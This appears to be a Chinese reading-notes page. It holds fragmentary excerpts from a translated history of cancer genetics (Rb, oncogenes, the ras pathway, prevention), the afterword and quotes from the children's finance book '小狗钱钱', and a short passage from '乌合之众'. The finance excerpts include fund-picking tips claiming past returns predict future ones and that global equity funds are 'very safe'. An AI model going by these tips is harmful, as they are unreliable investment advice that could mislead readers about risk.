　　成视网膜细胞瘤是一种特别残酷的癌症，不仅由于它攻击儿童，还由于它攻击的是童年时期最为重要的器官：这种肿瘤长在眼睛里。有些受害的孩子在周围的世界开始变得模糊不清时被确诊，也有些孩子会在照片里意外地被发现癌症，当患儿的眼睛被照相机的闪光照亮时会发出像灯下猫眼般诡异的光，暴露藏在晶状体后面的肿瘤。如果不予以治疗，肿瘤会从眼眶慢慢向后蔓延到视神经，然后爬进大脑。主要的治疗方法就是用高剂量的伽玛辐射灼烧肿瘤，或者进行外科手术摘除眼球，留下一个空荡荡的眼窝。　　

　　20 世纪 70 年代晚期，瓦缪斯、毕晓普和克努森开始通过把致癌基因和抑癌基因的协调作用结合在一起，来描述癌细胞的核心分子畸变。克努森提出，癌基因可以分成两类。“正面”基因，比如 src，是正常细胞基因突变的激活体。但是在正常细胞中，只有当细胞接收到相应的生长信号时，这些基因才会促进细胞分裂。在突变类型中，这些基因被迫进入永久的极度活跃状态，引发了不受控制的细胞分裂。运用毕晓普的类比来说，激活的原癌基因就像车上被卡住的油门一样，被油门卡住的细胞在细胞分裂的小路上横冲直撞，有丝分裂无法停止，持续不断地分裂再分裂。　　

　　“负面”基因，比如 Rb，可以抑制细胞分裂。在正常细胞中，这些抑癌基因或者说肿瘤抑制基因为细胞增殖提供“刹车”，当细胞接收到相应的信号时停止细胞分裂。在癌细胞中，这些刹车发生突变后已经失活了。再次借用毕晓普的类比，在没有刹车的细胞里，找不到有丝分裂“停车”的信号。于是，细胞再一次地罔顾所有的停止信号，进行分裂并且一直分裂下去。　　

　　德里亚带着一些关键性的假设开始寻找 Rb。他知道，正常人类细胞每条染色体有两个副本（除了性染色体），分别来自父亲和母亲，总共有 23 对染色体，总数是 46 条。因此，每个正常细胞都有两个 Rb 基因的副本，分别位于第 13 号染色体的两个副本上。　　

　　假设克努森的“二次突变假说”是正确的，那么每一个眼部肿瘤应该在 Rb 基因上发生两次独立的失活性突变，每条染色体上分别发生一次。德里亚知道突变有很多种形式，可能是激活基因的 DNA 发生微小的改变，也可能是基因上巨大的结构缺失，延伸到染色体的很长一段。既然必定是 Rb 基因失活而引发成视网膜细胞瘤，因此德里亚推断：负责此事的突变很可能是一次基因删除事件。毕竟，要使基因瘫痪并失活，删除一大段可能是最快、最原始的方式。　　

　　德里亚怀疑，在大部分成视网膜细胞瘤中，Rb 基因两个副本的两次缺失位于基因的不同部分。由于突变是随机发生的，两次突变恰恰位于基因同一区域的概率，类似于掷有一百个面的骰子出现两次六点一样难。通常其中一种缺失会“打击”基因的前端，而另一种可能“打击”后端（不管哪种情况，作用的结果是相同的——使 Rb 失活）。因此在大部分肿瘤中，这两次“打击”是不对称的，影响的是两条染色体上基因的两个不同部位。　　

　　但是，即使是百面的骰子被掷了很多次后，也会连续出现两次六点。德里亚认为很少会碰到一种肿瘤，两次突变恰好都删除了两条姐妹染色单体上基因的相同部分。如果发生这种情况，这段染色体会在细胞中完全缺失。如果德里亚能找到一种方法，可以鉴定成视网膜细胞瘤细胞中第 13 号染色体上完全消失的片段，他就能马上登陆 Rb 基因。这是最简单的战略：要找到功能缺失的基因，德里亚就要寻找结构上的缺位。　　

　　为了识别出这样一种缺失的片段，德里亚需要 13 号染色体的结构标记——被称为探针的小段 DNA，沿着染色体的长度排成一条线。他可以利用瓦缪斯和毕晓普在 20 世纪 70 年代用过的“黏附”反应，对之稍作改动，运用这些 DNA 探针去探究：如果肿瘤细胞中存在 DNA 片段，它就会黏附；如果片段不存在，DNA 探针就不会黏附，从而鉴定出细胞中缺失的片段。德里亚已经收集了一系列这种探针，但更需要的是他独有的资源：一个大型冷冻肿瘤储藏库。在两条染色体的 Rb 基因中找到一种共有的缺失，机会渺茫，所以他必须在大量的样品集合中测试，才可能找出一个。　　

　　这正是德里亚对抗多伦多和休斯敦的大型专业实验室所具有的优势。实验室的科学家很少会冒险去实验室外寻找人体样本。临床医生德里亚，则有满满一冰箱的样品。他带着收藏家那种童稚的欢喜说：“我着迷似地收藏肿瘤，在病人和医生中散布正在寻找成视网膜细胞瘤病例的消息。每当出现一个病例就会有人说 ‘把德里亚那个家伙叫来’，然后我就会开车或者坐飞机，甚至走路去拿样品，把它们带到这儿。我甚至记住了病人的名字。由于这种病在家族中出现，我会去他家拜访询问是否有兄弟姐妹或表亲患有成视网膜细胞瘤。有时，我甚至比医生还先知道（他们患有肿瘤）。”　　

　　德里亚周复一周地从肿瘤中提取染色体，然后在染色体中使用探针装置进行搜寻。如果探针结合了，它们通常会在胶质上发出信号；如果探针未找到目标，信号就是空白的。一天早上，德里亚来到实验室，把先前十几个筛选过的肿瘤印迹板对着窗户，从左到右一条条机械地看过去，就像一位读谱的钢琴家。突然，他在一个肿瘤中看到了一个空白区。他称为 H3-8 的探针在那个肿瘤的两条染色体中都缺失了。他感到一阵狂喜，但瞬间又陷入不安。“就在那一刻，我有了一种感觉，基因已经胜券在握。我已经在成视网膜细胞瘤上成功登陆。”　　

　　“成视网膜细胞瘤基因”编码一种同名的 Rb 蛋白质，它有一个很深的分子“袋”，主要作用是连接一些其他的蛋白，然后把它们紧紧地密封在那个袋子里，防止它们激活细胞分裂。当细胞决定分裂时，它会给 Rb 加上磷酸基团标签（一种可以使基因失活的分子信号），然后迫使蛋白质释放它的伙伴。因此 Rb 充当了细胞分裂的守门人，每次细胞分裂被激活时，它就打开一连串重要的分子闸门，当细胞分裂完成时再立刻关闭它们。但 Rb 的突变钝化了这种功能，致使癌细胞感知其闸门永久开启，因此持续分裂。　　

　　myc（一种致癌基因）不能在所有的细胞中都被激活。如果 myc 在胚胎中被永久激活，胚胎会变成一个过度增生的细胞球，因未知的机制纠结而死。活鼠中激活 myc 的唯一方法就是把活化作用限制在只能发生在一个细胞子集中。因为莱德的实验室正在研究乳腺癌，所以他选择了乳腺细胞。　　

　　或许算是一种安慰。在 1980 年到 1990 年的十年里，人类基因组中惊现了大量的原癌基因和肿瘤抑制基因，最终统计大约有上百个，它们的丰富度引起了一个令人不安的问题：如果基因组中如此密集地散布这样无节制的基因，好像轻轻一按开关就能将细胞推向癌变，那么为什么人体不是每时每刻都突发癌症呢？　　

　　癌症遗传学家已经知道了这个问题的两个答案。第一，原癌基因需要通过突变来激活，而突变是小概率事件；第二，肿瘤抑制基因需要去活，但通常每个肿瘤抑制基因存在两个副本，因此需要两次独立的突变才能使它失活，这更是罕见。福格尔斯坦提供了第三个答案。他认为，任何一个单个的基因活化或者失活，只是癌变的第一步。癌症的进展是漫长而缓慢的，要经过很多基因里的多次重复突变。就遗传而言，我们的细胞并没有位于癌症深渊的边缘，而是在逐级分段地被拖向深渊。　　

　　基因编码蛋白质，而蛋白质往往像极小的分子开关一样，通过“开启”或“关闭”在细胞里激活或灭活其他蛋白质。因此，我们可以从概念上画出这种蛋白的图表：蛋白质 A 开启 B，B 开启 C 并关闭 D，D 开启 E，以此类推。这种分子的连锁反应被称为蛋白质的信号通路。这种通路在细胞中保持活跃，把信号传进送出，从而使细胞能在它的环境中发挥作用。　　

　　遗传生物学家发现，原癌基因和肿瘤抑制基因处于这种信号通路的枢纽位置。比如 ras 激活一种叫做 Mek 的蛋白质，Mek 启动 Erk，这样通过一些中间步骤，最后促进细胞分裂。这个步骤被称为 ras-Mek-Erk 细胞信号传导通路，在正常细胞中被严格控制，从而牢牢地掌控细胞分裂。癌细胞中，激活的“ras”永不停歇地激活 Mek，继而永久地激活了 Erk，导致细胞分裂失去控制，这就是病理性有丝分裂。　　

　　不过活化的 ras 通路（ras→Mek→Erk）不仅会引起细胞的加速分裂，也会和其他通路相交叉，引起癌细胞一些其他的“行为”。20 世纪 90 年代，在波士顿儿童医院，外科医生兼科学家犹大·福克曼（Judah Folkman）证明癌细胞中某些激活的信号（ras 是其中之一）可以诱发临近的血管生长。肿瘤可以潜在地激发周围的血管网络，“获取”自己的血液供给，然后像葡萄一样围绕这些血管团簇生长，福克曼称这种现象为“肿瘤血管新生”（tumor angiogenesis）。　　

　　福克曼在哈佛的同事斯坦·考斯梅尔（Stan Korsmeyer）在癌细胞里发现了其他起源于突变基因的活化的通路，也会阻止细胞死亡，从而赋予癌细胞抵抗死亡的能力。其他通路使癌细胞获得运动性，即从一个组织向另一个转移。另有一些基因的连锁反应提高了细胞在逆境下的存活能力，使癌细胞可以经过血液侵入其他器官，而且不会被不适合它们存活的环境所排斥或破坏。　　

　　简言之，癌症的起源和整体都是基因性的。异常基因支配着癌症行为的各个方面。来自突变基因的异常信号造成的连锁反应在细胞中呈扇形分散，促进生存、加速生长、产生移动性、聚集血管、增强营养、吸收氧气——维持癌症的生命。　　

　　20 世纪 90 年代早期，癌症遗传学家开始根据基因里的分子改变模拟癌症的起源。为了理解这个模型，让我们从一个正常细胞开始，它存在于一位 40 岁的消防设备安装工的左肺里。1968 年的一个早晨，一块微小的石棉碎片被从设备上吹起，卡在了那个细胞的附近。他的身体对碎片产生了炎症反应，碎片周围的细胞开始疯狂地分裂，就像极小的伤口在设法愈合一样，一小团原始细胞衍生的细胞在此初现出来。　　

　　在那团细胞中有一个 ras 基因意外地发生了突变。这个突变激活了 ras。这个拥有突变基因的细胞被驱使着生长，比邻近的细胞长得更快，从而在最初的细胞团内又形成了一个细胞团。但它还不是癌细胞，而是已经部分启动分裂不受控制的细胞，即癌细胞的原始祖先。　　

　　十年过去了。这一小群 ras 突变细胞在无人察觉的情况下继续在肺的远端外围处增殖。这个工人吸烟，焦油中的致癌化学物质到达了肺的边缘，与那团 ras 突变细胞发生碰撞，团中有一个细胞的基因发生了第二次突变，激活了第二个致癌基因。　　

　　又过了十年。在第二团细胞团中的另一个细胞碰到了一束迷途的 X 射线，获得了另一次突变，这次灭活了一个肿瘤抑制基因，但该细胞的基因还有一个副本，所以这次突变几乎没有产生什么影响。但是到第二年，另一次突变灭活了肿瘤抑制基因的第二个副本，产生了一个“含有两个激活的致癌基因和一个失活的肿瘤抑制基因的细胞”。　　

　　最终，致命的进程上演了，破坏随之开始。现在，发生了四种突变的细胞开始过度增殖，超越它们的同胞们。随着细胞生长，它们获得了额外的突变，激活通路，使这些细胞更适应生长和存活。肿瘤中的一次突变刺激了血管的生长；由血液滋养的肿瘤发生另一次突变，使它即使在体内的低氧部位也能存活。　　

　　突变的细胞不断分裂产生细胞，再产生细胞。增强细胞移动性的基因在某个细胞中被激活。这个获得了移动性的细胞，可以转移穿过肺部组织进入血液。这种运动的癌细胞的后代获得了在骨骼中存活的能力，移动穿过血液后到达了骨盆的边缘，在那里它开始了另一轮生存、选择和侵略的循环，这意味着起源于肺部的肿瘤开始首次转移。　　

　　患者偶尔会喘不上气，总觉得肺的边缘有种刺痛的感觉。走路的时候，偶尔感到有东西在胸腔下面移动。又一年过去了，这种感觉与日俱增。他去看了内科医生，CT 扫描显示一个环状的团块围绕着肺部的一根支气管，活组织切片结果显示是肺癌。一位外科医生检查了他和胸部的 CT 扫描结果，认为手术没有意义。那次就诊的三个星期后，病人又回到内科诊室，抱怨肋骨和臀部疼痛，骨骼扫描显示癌症已经转移到了骨盆和肋骨。　　

　　于是他开始静脉化疗。肺肿瘤的细胞有了反应。患者坚持熬过了一个艰难的多种细胞杀伤药物联用的疗程。但在治疗期间，肿瘤中的一个细胞却获得了另一种突变使它对用来治疗的药物产生了抵抗力。确诊七个月后，肿瘤复发遍布全身——肺部、骨骼和肝脏。2004 年 10 月 17 日的早晨，他在波士顿一家医院的病床上靠麻醉剂陷入深度昏迷，在妻子和孩子们的陪伴中去世，享年 76 岁，死于转移性肺癌。当时，那一片石棉仍卡在他的肺部边缘。　　

　　我以一个假设的癌症故事开始，故事里的基因、致癌物和突变序列当然都是虚构的，但故事的主人公却是真实的。我在麻省总医院做癌症医学研习员期间，他是第一位在我的照料中去世的患者。　　

　　我说过，医学是从讲故事开始的。病人说故事描述疾病；医生讲故事了解疾病。科学述说它自己的故事解释疾病。致癌物引起内部基因的突变，引发细胞内连锁反应，然后发生突变、选择和存活的循环——这个关于癌症形成的故事，代表了我们对癌症诞生最有说服力的概述。　　

　　克劳森回忆吉米说：“一切都变了，病房、患者、药品。”但最重要的是，存活率改变了。“艾纳记忆中的癌症病房是一个有很多帘子的地方；当孩子们状态好的时候，帘子是敞开的。但是，他们很快就会拉上帘子，而当帘子再次打开的时候，孩子就没有了。”　　

　　我也未能从这种强制性的全神贯注中幸免。2005 年夏天，在我的研习期即将结束的时候，我迎来了生命中巨大的转折：我的女儿莉拉（Leela）出生了。莉拉面色红润，美丽如天使；她在一个温暖的夜晚诞生在麻省总医院，然后被裹在毯子里抱到了 14 楼的新生儿室。新生儿室在癌症病房正对面（两者的相对，并不是一种巧合。分娩是最不容易出现感染并发症的医学操作，因此，是化疗病房最安全的邻居。因为化疗病房里任何感染都可能造成致命的灾难。在医学上，这两类病房的并列完全出于功能性的考虑，但也同样具有深远的含义）。　　

　　我很想像大多数父亲那样，陪伴在妻子的身边，等待女儿诞生那奇迹般的一刻。但事实上，我像一名外科医生一样穿着医生袍、戴着手套，面对眼前蓝色的无菌布单，手持一支长长的针筒，随时准备来收获从脐带中涌出的褐红色血细胞。当我剪断脐带的时候，我一部分角色是父亲，另一个角色是肿瘤医生。脐带血是已知最丰富的成血干细胞来源之一。这种细胞可以被储藏在冷库中，用于在未来治疗白血病的时候，进行骨髓移植。但这种极其可贵的资源往往在分娩后，被冲入医院的下水道。　　

　　助产士大惑不解；产科医生是我的一位老友，他开玩笑地问我是否停止了思考工作。但是我深深地沉浸在对血液的研究中，忽略了自己的本能。走廊的另一边，就是骨髓移植室，我曾为那里的病人展开全国性的搜索，在各组织库中寻觅一两品脱的这种可能救命的干细胞。即使在这个生机最为笃定的时刻，恶性病变和死亡的阴影，依然永久地潜伏在我的心头。　　

　　20 世纪 50 年代，急性早幼粒细胞白血病（APL）首先被确定为是一种独特的成人白血病，它具有鲜明的特点：在这种形式的癌症中，细胞不只是快速分裂，它们还出乎预料地停止在不成熟的发展状态。正常的白血细胞在骨髓中经历一连串发育成长的步骤，最后成为功能齐全的成年细胞。其中一种中间性细胞被称为“早幼粒细胞”，是功能处在即将成熟边缘的“青少年细胞”。急性早幼粒细胞白血病的特点就是这些不成熟的早幼粒细胞的恶性增殖。正常的早幼粒细胞都载有通常是由成熟白血细胞释放的有毒的酶或微粒，用于杀死病毒、细菌和寄生物。在早幼粒细胞白血病中，血液里充满了这些载有毒素的早幼粒细胞。这种细胞喜怒无常、变化多端且极度活跃，任意释放有毒颗粒，造成大量出血或在体内发生类似败血症的反应。在急性早幼粒细胞白血病中，癌细胞的病态增殖伴随着一个巨大的转变：大多数癌症含有拒绝停止生长的细胞；而在急性早幼粒细胞白血病中，癌细胞拒绝成熟。　　

　　王振义和迭格斯首先通过灵感的激发猜测出了反式视黄酸，后来才发现这种分子可以直接靶定一个致癌基因。　　

　　但有可能做这样的反向旅行吗？从致癌基因出发，然后走向药物发展？事实上，在波士顿的罗伯特·温伯格的实验室已经开始了这样一个旅程，虽然温伯格自己毫不知情。　　

　　他的性格温和中带着固执，一名记者形容他是“天鹅绒般的电钻”。　　

　　1990 年夏天，当赫赛汀进入最初的临床试验之时，另一个基因靶向药物也开始了其临床的长途跋涉。在癌症的历史上，这一药物的研发，从癌症到原癌基因，再到靶向性疗法，以及后续开展的人体药物试验，标志着癌症药物新时代的到来；其意义超过赫赛汀和任何其他药物。但为了迈进这个新时代，癌症生物学家将需要再次绕回到原来的观察，绕到被约翰·贝内特称之为“血液化脓”的怪病，也就是魏尔啸在 1847 年重新归类为“白血”的疾病，后来被研究者再次归类为“慢性粒细胞白血病”的疾病。　　

　　如诺华公司所指，慢性粒细胞白血病少得几乎不构成对公众健康的祸害，但癌症是一种象征性的疾病。开创性的想法往往始于癌症生物学的边缘之地，然后回弹到这类疾病更常见的形式。而在所有形式的癌症中，白血病往往是新范式的种子。这个故事开始于 1948 年西德尼·法伯诊室中的白血病，它也必须从白血病开始。如果癌症是在我们的血液中，如瓦缪斯提醒我们的那样，那么似乎只有在日益扩大的包围圈里返回到这种血液的癌症之中，才是明智之举。　　

　　就连靶向治疗也是猫捉老鼠的游戏。我们可以直接向癌症的阿喀琉斯之踵射出无数的箭，但这种疾病只需要换只脚就能隐藏这个弱点。我们和善变的对手陷入了永恒的争斗。当慢粒白血病细胞踢开了格列卫，只有用另一种不同的分子变体才能再次压制它们；而当白血病细胞再次超越这个药物时，我们就需要新一代的药物。如果我们稍微放松警惕，哪怕只是片刻，战局的天平就会倾斜。　　

　　这件事知易行难。2004 年，大量初步的科学报告提出手机产生的射频能量可能会导致一种致命的脑癌，即神经胶质瘤。而神经胶质瘤经常出现在惯于接听手机的那一侧大脑，更进一步加深了这种关联。接踵而来的是媒体极大的恐慌。但这究竟是常见现象和罕见疾病（手机的使用和胶质瘤）错误观察的巧合，还是流行病学家错失了数码时代的“尼龙丝袜”①？　　

　　①过去用来生产丝袜的纤维都取自天然，却因价格高昂无法普及。1937 年，杜邦公司的化学工程师卡罗瑟斯偶然发现能够人工合成一种像拔丝土豆那样坚硬、耐磨、纤细柔韧的细丝，这就是尼龙。尼龙的诞生击溃了当时横行一时的日本真丝出口业，成为了丝袜制造的最佳物料。尼龙丝袜成为了 20 世纪女人们最狂热的追求之一。　　

　　今天，人类 DNA 序列已经存储在数据库中，任何人都可以通过互联网下载。美国国家生物技术信息中心和位于欧洲和日本的姊妹组织储存着整个基因序列，其中包含已知序列，假设基因和蛋白质。　　

　　最近的两个争议突出强调了流行病学中的这类盲点。2000 年，英国的所谓“百万妇女研究”项目发现，以激素取代疗法用于缓解妇女更年期症状的雌激素和孕激素是导致雌激素阳性乳腺癌发病和死亡的主要危险因素。从科学的观点来看，这是一件令人尴尬的事。在布鲁斯·埃姆斯的试验中，雌激素并未被列为诱变剂，低剂量的雌激素也不会引起动物的癌症。但自 20 世纪 60 年代以来，这两种激素就被认为是 ER 阳性乳腺癌亚型的病理激活剂。比特森的手术和他莫昔芬通过阻断雌激素缓解乳腺癌，所以有理由推断外源性雌激素可能是引发乳腺癌的原因。如果采取了吸收癌症生物学的先见之明形成的更综合的预防癌症的方法，或许人们早已预测出这种诱发癌症的行为，并优先对上百万人进行了关联分析，进而可能已拯救了成千上万妇女的生命。　　

　　低纤维、红肉丰富的饮食增加患结肠癌的风险，肥胖与乳腺癌相关　　

　　20 世纪 90 年代中期，在前十年成果的基础上，研究人员分离出两个大幅增加了罹患乳腺癌的风险的相关基因：BRCA-1 和 BRCA-2。遗传 BRCA-1 基因突变的妇女一生中有高达 50％～80％的风险罹患乳腺癌，是正常人的 3～5 倍（该基因同时也会提高卵巢癌的风险）。目前，对这种基因突变的检测已经被纳入预防措施。筛检发现的两个基因突变呈阳性的女子，将接受乳房核磁共振造影（MRI）等更敏感的成像技术来深入筛检。有 BRCA 基因突变的妇女可以选择服用他莫昔芬预防乳腺癌，这在临床试验中已经证明是有效的。或者更激进的作法是，有 BRCA 突变的妇女或许会在癌变之前预防性地切除乳房和卵巢，这是另一种可以显著降低患乳腺癌概率的策略。　　

　　当我回想起和杰曼最后的谈话时，让我感到惭愧的是，病房内的东西似乎比我们的对话更生动突出：一间病房，充满消毒剂和洗手皂强烈的气味；头顶上明晃晃的钢制灯；带轮子的小木桌，一堆又一堆的药、书、剪报、指甲油、珠宝和明信片。病房里挂着她在阿拉巴马州漂亮的住宅和她女儿抱着从花园摘的水果的照片；身旁桌上放着医院标准的塑料水罐，插着一束向日葵。我记得杰曼坐在床边，一条腿轻松地垂下来，穿着她一贯古怪又醒目的服饰，戴着夸张的大首饰，头发也精心梳理过。她看起来一切正常，没有任何情绪，神态平静，就像一张在医院里静候死亡的人像照。她好像一脸满足，能大笑也能开玩笑，即便是插了鼻胃管，也是轻松和有尊严的。　　

　　我们知道一些常见的罪魁祸首可以导致癌症：紫外线引发黑色素瘤和其他皮肤癌；烟草引发肺癌和嘴唇、喉咙、食道以及胰腺的癌症；酒精则是引发肝脏和食道癌的辅助因子；国家癌症研究所列出的致癌物的官方清单上，包括砷、镉、铍、镍、铅、苯、氯乙烯和石棉，不过因暴露在苯或铍中而罹患癌症的人口数量是很小的。也有与癌症相关的病毒，比如人乳头瘤病毒，乙肝病毒Ｂ和Ｃ，接触这些致癌物质的机会往往都是可预防的。　　

　　※ 有预防癌症的生活方式吗？　　

　　事实上，要找到一种预防癌症的生活方式，比任何人最初想象的要难得多。有一些普遍原则。我们应该避开已知的毒素，像氡、镉、石棉。严重暴露在这些物质中的人数很少，但是接触应该停止。我们也应该避免接触烟草，而且避免或减少饮酒。我们应该少吃肉，多吃纤维丰富的食物，我们应该避免紫外线的暴晒和电离辐射。但这些都是相当显而易见的认知。我还没有找到一种已在大型人群研究中临床验证过的“防癌的生活方式”。　　

小狗钱钱

自力更生——写给成人的后记

德语国家著名儿童心理学家　尤尔根 · 齐穆尔教授

打破桎梏，开阔视野

　　钱钱是一个让人耳目一新的开拓者形象。这本书没有喋喋不休的说教，而是为孩子们提供了一个机会，使他们能够稍许分享一点成年人的特权——赚钱。

　　《大与小》杂志的一篇评论文章认为，自从弗里德里希·弗勒贝尔创立幼儿园以来的 200 年间，他的追随者们把儿童从做童工受剥削的恐惧中解放出来之后，又把他们束缚在培养乖孩子的游戏之中。现在，是应该努力从儿童的角度重新解读劳动这个概念的时候了。应该给孩子们提供机会，让他们能够多接触一下成年人的工作领域。

　　钱钱拆除了偏见的围墙，让人眼前豁然开朗，它告诉我们：经营活动并不是童工劳动，而是一种能激发人的热情的游戏。它并不枯燥，相反会带来激动人心的时刻，释放人的发明创造的才能。

　　让孩子们在市场中学习，这也意味着在风险中学习。每一个细小的商业决策都包含了一些风险。错误的决策迟早要遭受经济上的惩罚，而正确的决定最终将会带来更高的收益。“经营”和“赚钱”这两个游戏是严肃的。市场就像是一所课堂之外的学校，它既是一条荆棘之路，也是一座错综复杂的迷宫，既是出产雷厉风行的人的场所，也是制造犹豫不决的人的工厂，既是培养思维能力的静修地，也是产生卓越策略的办公室，或是各种创意的交易所。市场这所学校是一个根植于现实生活中的梦想。

　　市场是一种原则——就像民主一样，它可能被滥用。市场并不意味着没有秩序的横冲直接，而是意味着透明度、竞赛、对人和自然的责任、公平竞争和一定程度的保护。

　　商业活动意味着独立自主、积极主动，或者也可以说坚持己见，但那并不意味着缺乏团结友爱的精神。我们要对孩子们开展团队教育，这是因为，我们不是独自活在这个世界上，而是和其他的人共同生活在一起。我们应该保护弱者，不能歧视少数群体，不要对不如自己的人颐指气使，不要追逐凌驾于众人之上的权力。而且商业活动不仅与人有关，也与自然有关。它关系到各种生物和这个星球上正在遭受掠夺急需保护的资源。从伦理学的角度来说，那些有社会责任感，有生态意识的企业家是不会被市场抛弃的，并且他们时到处于市场的前沿。

　　赚钱不是一件坏事，它可以为自己和他人带来好处。从小开始赚钱的人拥有对依赖思想的抵抗力，不会乐意让别人来养活自己。而且自己赚钱的人不会成为不断膨胀的消费欲望的奴隶。从事商业活动有助于人们以理智的态度珍惜使用有限的资源。我们推祟一种聪明的、简朴的生活方式。也就是说，宁愿购买一件一流产品，也不要不停地买许多的二流产品。而且，不要仅仅因为一件产品的外观不再时髦而新产品正在流行，就频频追逐新鲜的东西。生活质量不是由越来越多的高科技产品堆砌而成的，而是体现在一些别的方面，比如悠闲地享受一下生活，加强邻里关系，表达感情或者从事艺术性和创造性的活动。

从小做起

　　现在有一个值得省思的问题——整个中欧对儿童这个概念的解读可能明显低估了孩子们学习技能和从事商业活动的潜力。

　　要想有所成就，必须从小做起。分析企业家的传记，有一点很引人注目。绝大多数敢于投身商业活动的人，在童年时期就已经拥有了一些自己的想法，具有某种“怪癖”，而且善于思考。他们之中的大多数人有过小规模的经营管理的实践经验，参与过小型的经济活动。安妮塔·鲁迪克是在世界各地都没有销售代理的 Body Shops 公司的创始人，她在童年时期卖过化妆品。而戈特利布·杜特韦勒尔的 Migros-Kette 公司在瑞士创造了 4 万个就业机会，他小时候养过小白鼠、豚鼠和兔子出售。心理治疗师和企业家彼得·戈培尔认为，思考可以是一种享受，而工作会带来无穷乐趣。具有横向思维能力的人将会受到欢迎，青少年完善自身的愿望和对独立的追求不应遭到遏制。

　　从分析企业家的传记中还可以明显看出，在童年时期和学生时代，他们当中有许多人不得不努力地压制自己的意志，使自己适应外界对思维发展的束缚。是什么阻碍了企业家素质的萌芽呢？如果这种阻力能够有所降低的话。那已然是一件幸事。

企业家精神

　　在德国，新一轮教育危机已经初具雏形。原因在于教育界对群众失业问题没有做出恰当和足够的反应。教育要想在未来获得发展——或者确切地说要想获得生存的保障，必须让人学会企业家的思维方式。

　　另一方面，这意味着专职的教育工作者也要学习这样的思维方式，并且以身作则。不应仅仅局限于推动职业培训，也不应抱着充分就业的假设不放，这样做是不够的。更为重要的是要开始从小培养孩子们的企业家精神，正确理解企业家素质(entrepreneurship)。企业家素质不仅仅像目前大家历理解的那样，是企业家传记中描写的那些特殊的禀赋，它应更多地落实到每一个公民身上，让它成为大家都具备的基础条件。

　　什么是企业家素质呢？这是一个在英语国家常用的概念，很难找到恰当的译法。它指的是一种发展、革新的经营观念，以及将这种观念贯彻在市场中的能力。

用“提出要求”代替“满足欲望”

　　由于西方国家优越的经济条件，在二战之后出生的这代人和他们的下一代在物质生活方面得到了充分的满足。面对孩子们层出不穷的愿望，大人们把迅速满足他们的需要当作一剂速效镇静剂。于是孩子们失去了在发展心理学中被称作进取心和承受力的能力。被宠坏的孩子没有对艰难时刻的心理准备。

　　中欧地区对“童年”这个概念的这种理解方式是基于良好的愿望：要废除剥削儿童的童工劳动，维护儿童的权益。它也有消极的一面，它造成了儿童与社会的日益隔绝和童年期的延长，以及对孩子们过分保护和幼稚化的倾向。要想找出一个适合我们这个矛盾时代的对“童年”的解释，重要的是不要继续把他们培养成温驯听话的小绵羊，不要再用喂给他们镇静剂的方式对他们进行职业素质教育。

　　孩子们具有掌握自己发展方向的潜力。因此，成年人不要替孩子决定该如何发展，而是应该理解、支持他们，帮助他们调整。大人应该相信孩子们的自觉性和进取心。我们应该要求孩子们具有小心谨慎和不屈不挠的品质，并有意识地在这方面培养他们。因此，在遇到需要解决的问题时，不能直接把答案摊在他们面前，而是应该结他们机会，让他们自己去寻找解决办法，使他们通过扩大视角，深入调查来推进研究、发现和实验的学习过程。

摘录

　　“如果钱被偷走了怎么办呢？”我提醒她说。 　　“要是这样的话，就真的很遗憾了，因为那些盗贼不会高兴多久的。”老太太毫不犹豫地说。

　　“可是他们要是已经得到了所有财宝，”我惊讶地大声说：“怎么会高兴不了呢？”

　　“这挺难解释。让我这样说吧，钱只会留在那些为之付出努力的人身边。用非法手段取得不义之财的人，反而会比没钱的时候感觉更糟糕。”

　　“我不明白，”我疑惑地说：“那这些盗贼为什么还要费这么大劲呢？”

　　陶穆太太想了一会，说：“因为他们认为有了很多钱，就可以改变他们的处境。他们以为金钱会使人幸福。”

　　“我爸妈也这么想，”我一边思索，一边说道：“他们相信，要是不用为钱发愁的话，他们就可以活得很好。”

　　“那你爸妈就跟许多人一样有错误的想法。一个人要想过更幸福、更满意的生活，就得对自身进行改变。这和钱无关，金钱本身既不会使人幸福也不会带来不幸。金钱是中性的，既不好，也不坏。只有当钱属于某一个人的时候，它才会对这个人产生好的或者坏的影响。然后，钱要么被用于好的用途，要么被用作坏的用途。一个幸福的人有了钱会更幸福；而一个悲观忧虑的人，钱越多，烦恼就越多。”

　　“我妈妈总说，金钱会使人的本性变坏。”我反驳道。

　　“金钱会暴露一个人的本性，”陶穆太太解释说：“金钱就像一个放大镜，它帮你更充分地展现出你本来的样子。好人可以用钱做很多好事。而如果你是盗贼，那你很可能会把钱挥霍在一些蠢事上。”

　　钱钱语录

　　1. 确定自己希望获得财务上的成功

　　2. 自信有想法做自己喜欢做的事

　　3. 把钱分成日常开销梦想目标和金鹅账户三部分

　　4. 进行明智的投资

　　5. 享受生活

　　“有一个相当简单的公式，如果你们运用这个公式的话，可以省去看复杂的表格的麻烦。它的名字叫做 72 定理，”老人讲解说，“你们直接用 72 除以你们投资的年收益率的百分比，得出的数字就是这笔钱翻一番所要的年数。”

　　挑选基金时的注意事项

　　1. 基金应该至少有十年历史，假如它在这么长时间内一直有丰厚的盈利那我们可以认为，它在未来也会运作良好

　　2. 应该选择大型的跨国股票基金，这种基金在世界各地购买股票，以此分做风险，所以十分安全

　　3. 对基金的走势图进行比较，我们应该观察在过去 10 年间哪些基金的年终获利最好

　　4. 用 72 除以投资的年收益率的百分比，得出的数字就是这笔钱翻一番所要的年数

乌合之众

注意

  • 很多言论比较极端，建议慎重阅读。

摘录

　　科学并没有溃败。当今精神的无政府状态，以及在这一无政府状态中壮大的新生力量，与科学毫无关系。科学向我们许诺了真理，或至少是我们的智力可以理解的种种相互关联的知识；科学从未向我们许诺和平，也没有许诺幸福。科学高高在上，对我们的情感漠不关心，听不到我们的哀怨。而且，任何东西都无法挽回已被科学驱散的种种幻想。

　　群体的灵魂是不容易描述的，它的组织不仅仅根据集体的种族与构成而变化，而且还根据所承受的刺激物的性质和程度而有所不同。其实，对任何一个个体的心理学研究，都会具有同样的难度。在小说中，个体总是带着恒定的性格出现。但在真实的生活中，并非这样。只有领域的同一性，才会产生个性在表面上的同一性。我在其他著作中已经指出，所有的心理构成，都可能因为受到社会阶层突然变更的影响而显示出可能的特征。正因如此，在最激进的国民公会成员中，可以有毫无斗志的布尔乔亚，他们在普通的处境下，可能就是一团和气的公证人或者公正的法官。一旦风暴过去，他们又找回他们正常的特征。他们之中很多人后来成了拿破仑最忠实的仆人。

